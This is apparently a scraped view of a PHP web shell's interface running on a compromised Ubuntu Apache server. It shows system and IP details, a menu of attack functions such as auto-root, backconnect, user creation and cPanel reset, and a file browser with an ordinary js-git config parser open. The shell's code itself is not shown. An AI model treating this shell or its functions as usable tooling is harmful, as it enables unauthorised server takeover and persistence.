Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
js-git /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
apply-delta.js
1.8
KB
-rw-rw-r--
config-codec.js
1.49
KB
-rw-rw-r--
defer.js
734
B
-rw-rw-r--
deflate.js
249
B
-rw-rw-r--
find-common.js
1.25
KB
-rw-rw-r--
git-fs.js
3.07
KB
-rw-rw-r--
inflate-stream.js
967
B
-rw-rw-r--
inflate.js
249
B
-rw-rw-r--
modes.js
728
B
-rw-rw-r--
object-codec.js
6.17
KB
-rw-rw-r--
pack-codec.js
7.87
KB
-rw-rw-r--
pkt-line.js
3.07
KB
-rw-rw-r--
wrap-handler.js
370
B
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : config-codec.js
"use strict"; // This is for working with git config files like .git/config and .gitmodules. // I believe this is just INI format. module.exports = { encode: encode, decode: decode }; function encode(config) { var lines = []; Object.keys(config).forEach(function (name) { var obj = config[name]; var deep = {}; var values = {}; var hasValues = false; Object.keys(obj).forEach(function (key) { var value = obj[key]; if (typeof value === 'object') { deep[key] = value; } else { hasValues = true; values[key] = value; } }); if (hasValues) { encodeBody('[' + name + ']', values); } Object.keys(deep).forEach(function (sub) { var child = deep[sub]; encodeBody('[' + name + ' "' + sub + '"]', child); }); }); return lines.join("\n") + "\n"; function encodeBody(header, obj) { lines.push(header); Object.keys(obj).forEach(function (name) { lines.push( "\t" + name + " = " + obj[name]); }); } } function decode(text) { var config = {}; var section; text.split(/[\r\n]+/).forEach(function (line) { var match = line.match(/\[([^ \t"\]]+) *(?:"([^"]+)")?\]/); if (match) { section = config[match[1]] || (config[match[1]] = {}); if (match[2]) { section = section[match[2]] = {}; } return; } match = line.match(/([^ \t=]+)[ \t]*=[ \t]*(.+)/); if (match) { section[match[1]] = match[2]; } }); return config; }
Close